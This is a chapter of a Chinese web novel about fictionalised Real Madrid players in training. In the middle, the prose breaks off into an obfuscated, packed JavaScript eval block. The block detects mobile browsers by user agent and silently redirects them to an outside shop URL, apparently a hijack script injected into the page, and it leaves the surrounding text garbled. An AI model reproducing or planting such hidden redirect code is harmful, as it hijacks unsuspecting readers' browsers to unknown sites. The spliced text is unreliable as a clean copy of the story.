第四章一杯水
罗伯托·马丁内斯那含混的低沉嗓音总让伯尼想起《教父》里的马龙·白兰度，一身西服坐在深黑的大理石办公桌前，手里夹着烟雾缭绕的雪茄，声音从胸腔深处慢慢滚出来：
“伯尼？……是我，马丁内斯，我没有打扰到你吧？……我刚看完比赛，恭喜你，那个点球非常冷静……继续保持这样的状态，欧洲杯的计划里，我们有你的位置。”
“砰！”一声，脚内侧击球的闷响。
伯尼回过神，把马丁内斯的声音清出脑海，脚下迅速向左跨出几大步，脚尖抵住高速滚来的足球，一停，一拨，脚背平直地一推。
足球斜掠过在中间抢球的恩德里克，被一只银色球鞋踩住。
韦尼休斯另一只脚在球底一挑，足球甩着一道弧线弹到他肩膀上，他歪着头夹住，在周围人的笑声和起哄声中踏着小碎步转了一圈，像是八音盒上滑稽的小人。
伯尼“扑哧”笑出了声，视线却一直落在球上，眼见着那黑白相间的球被巴西人灵活地甩出去，在克罗斯脚上一垫，然后飞向吕迪格。
吕迪格抬起大腿内侧停球，用两条健瘦的腿翻飞着做了个花式绕球，队友们的笑声更大，球被他用脚尖踢出，昂着弧线去找伯尼身旁的莫德里奇。
球被莫德里奇踢出去，像流星一样划过深绿浅绿的条纹草皮，伯尼暂时松了口气，脑子里只剩下一个小人在摇旗呐喊：
欧洲杯！
欧洲杯！
欧洲杯！
马丁内斯的低沉声音又飘入他的脑海：
“……我认识你舅舅，他当年在皇马踢得很好……穆里尼奥带过他，我一直很尊重他的判断。门德斯也跟我提过你，但今天你已经自己证明了自己。”
门德斯。
伯尼的心忽然坠了下去，呼吸下意识放轻，像是这样就不会在脑海里看见门德斯的脸，短发、浓眉、牙齿亮白，带着点礼貌的精明的微笑……
“砰！”
急转的足球破开了层层思绪，高高地向他俯冲过来。
伯尼下意识后退一步，侧抬腿用内侧一挡，球如同瞬间卸力一样落在脚边，眼前恩德里克的阴影逼近，他迅速跨出右脚一撑，左脚抡向足球却又生生停下，把恩德里克晃得一个踉跄后才踢出去，球穿裆而过。
克罗斯“哇哦”出声，吕迪格立刻起哄道：“波比——把门关上啊！”
恩德里克抹了把头上的汗，盯着伯尼气喘吁吁地说：“运气！再来一次！”
伯尼傻笑着挠挠头，转身去给自己和恩德里克拿了两瓶水，回来时助教已经开始组织他们分组踢小场比赛。
伯尼接过助教手里的橘背心，看见吕迪格把绿背心递给了恩德里克，然后突然瞪大眼睛，倒吸一口凉气，“……哇！我居然和波比·查尔顿一起踢球？”
伯尼正举着水杯，听完一口水呛在喉咙里，边咳嗽边转头看恩德里克，皮肤棕黑的巴西人翻了个白眼，扁着嘴满脸无奈。
他还记得“波比·查尔顿”的由来。
那时他和恩德里克刚来皇马，第一次和队友们一起录制阿迪达斯的品牌合作，穿着新球衣说出自己童年时的偶像。
他们在摄影棚里站成一个半圆形，等待摄影师端着镜头一一扫过去——
吕迪格：“我的偶像是罗纳尔多和佩佩。”
克罗斯：“我很喜欢2003到04赛季的不来梅，尤其是米库德。”
贝林厄姆：“毫无疑问的，齐达内。”
伯尼边听边点头，然后盯着扫过来的幽深的镜头，说道：“克里斯蒂亚诺，我从小看着他在皇马踢球长大。”
他余光瞥见克罗斯探出头来看他，还没来得及回头，身边的恩德里克狂抓后脑勺，像是进行了认真的思考，然后小心翼翼地开口：
“……波比·查尔顿？”
伯尼目瞪口呆，耳边仿佛一下子响起了老式蒸汽火车“呜呜”的轰鸣。
他身边的队友已经笑倒了一片。吕迪格鼓着掌大笑出声，克罗斯盯着他们，像是不可置信地重复了一遍“波比·查尔顿”，贝林厄姆一梗脖子，皱着眉头大声问：“谁？”
关于波比·查尔顿……伯尼只能回忆起那几卷老旧球赛录像带里的模糊脸孔。
……
然而，巴西版波比·查尔顿在小场比赛里气势惊人，伯尼站在左路，看着他像推土机似的带球推进，心里有些发怵，还是放弃贴防吧。
伯尼斜向后跳了几步，用余光转头观察另一侧跟着恩德里克向前跑的吕迪格，在心里想象着小球场的俯视图，恩德里克和吕迪格则变成了图上的两个小点。
他还注意着恩德里克脚下的节奏，看见那双荧光绿的球鞋踩着电光石火向前冲，随后左小腿紧鼓着踩在地上，右脚一摆——
“砰！”
足球在恩德里克的脚背上炸开一声脆响。
他脑海中想象的传球线路一笔画出，左脚大跨步向前，右脚绷直了向前伸，脚尖终是堪堪碰到了贴地飞滚的足球，一挡，足球被卸了速度，缓缓向他前方滚去。
“好球！”他听见莫德里奇喝道。
他步子迈得太大，大腿筋被压得抖了一下，用手撑着草皮才能连滚带爬地站起来，抢在急刹车的恩德里克之前把球踢出去。
莫德里奇脚跟一拨，转身闪过吕迪格，左脚把球送出，右脚支撑中心，然后跟上一脚远射。
伯尼站在原地，眼见着足球划过一道优美的圆弧，稳稳飞进球门，得分！
他喘着气伸开手臂，还没来得及欢呼一声，助教已经将新的球扔进场中，又是一场酣畅淋漓的抢球大战，这种对抗人数少、节奏快、没有守门员，所有人几乎都是一脚出球，“砰”“砰”“砰”的连环闷响中，足球以各式各样的弧线洞穿球门。
当伯尼累得眼前冒白光时，终于听到一声清脆的哨响，上午的训练结束了。
他和恩德里克留下来把所有的球装进球袋里，把锥桶搬回去，直到还剩下最后一个球孤零零落在草皮上时，恩德里克问：“伯尼，你下午留下来练任意球吗？”
伯尼低头，脸上的汗一道道流下来，淹没在领口一大圈深色的汗迹里，喘着气反问他：“……你不累啊？”
“不累。”恩德里克弯腰把最后一个球抱进怀里，“在飞机上是有点累，不过回家睡了一天就好了。你练吗？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323585|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
伯尼瞪圆了眼睛，憋住喉咙里的气说，我也不累，我们一起练吧。
他扛起锥桶，恩德里克拖着球袋，吭哧吭哧地走向训练中心的大门，恩德里克却突然驻足回头看他。
门口的感应器灵敏，玻璃门“嗡”“嗡”地开开关关，空调风阵阵吹来，伯尼听见巴西人羞涩地说：“伯尼，我要结婚了。”
伯尼盯着恩德里克那圆钝的轮廓看了半天，下颌线和眉骨突出，鼻头圆钝，表情严肃，好老派而复古的球星气质。
“波……恩德里克，你多大了来着？”
恩德里克回道：“我十八岁。”
伯尼望见那双短而窄的眼睛就这么直直地盯着他，张张嘴，沉默了一会儿才说：“……恭喜你，是和米兰达结婚吗？这么快啊！”
恩德里克的眼睛弯起来，笑露出两排白牙，衬着棕黑的皮肤，显得特别朴实而单纯。
伯尼有千言万语堵在嘴边，却又彻底无话可说了，脑海里回想起他和恩德里克刚认识的时候，他十八岁，恩德里克十六岁，穿着一身红绿古驰运动装站在他面前，问他，你好，你会说葡萄牙语吗？
隔着透绿的玻璃门，伯尼看见吕迪格和克罗斯站在一起，吕迪格一手叉腰说着什么，克罗斯正拿毛巾擦汗。
“楚阿梅尼把卡马文加铲伤了——”
吕迪格对着伯尼比了个手势，然后挑眉抿嘴，一脸“我不敢相信发生了什么”的绝望。
伯尼张大了嘴，听见恩德里克问：“啊？他们俩上午不是没来训练吗？”
吕迪格绘声绘色地把刚才的事情讲了一遍，十分分钟前，当楚阿梅尼在上抢卡马文加的时候，脚底突然一滑，一脚把卡马文加带走，俩人“咣当”摔在地上，然后所有人都听见了卡马文加的痛呼……
伯尼把锥桶往肩膀上送了送，皱起眉头问：“那后天踢巴萨怎么办？”
他的一颗心已经悬了起来，难以想象刚和他们讲完战术的主教练安切洛蒂知道后会是什么表情。
克罗斯只是盯着地面不语，吕迪格则仰头用手抹了把脸，把脸颊拽得老长，然后哀嚎出声：
“哎，我说真的，球迷有时候还真没说错，皇马场上最多只能有一个法国脑子，卡马文加和楚阿梅尼像是共用一个CPU的，两个人一起上场，这脑子就不够用了。但也别用这种方式解决问题啊——他们俩别再互相铲了！”
伯尼忍不住哈哈大笑，笑完还得干巴巴地安慰：“……我想楚阿梅尼也不是故意的，我们撑过后天那场比赛，卡马文加说不定就恢复了，没事的！”
“我只是觉得这有点蠢。”克罗斯摇摇头，神情却很诚恳。
伯尼想起楚阿梅尼的刺猬头和直愣愣的眼神，努力绷住了嘴角的笑。
吕迪格离开时还说：“事已至此，你们要打起精神，后天打巴萨，这场很关键，听见没有？别想着一直坐板凳，到时候上场可得狠狠干，别输给他们那几个小孩！”
伯尼和恩德里克连忙点头。
伯尼透过玻璃的反光一看，恩德里克拖着硕大的球袋，而他扛着三角锥桶，两个人的倒影看起来很像游戏里的建筑小工，不知已经这样傻站着多久了。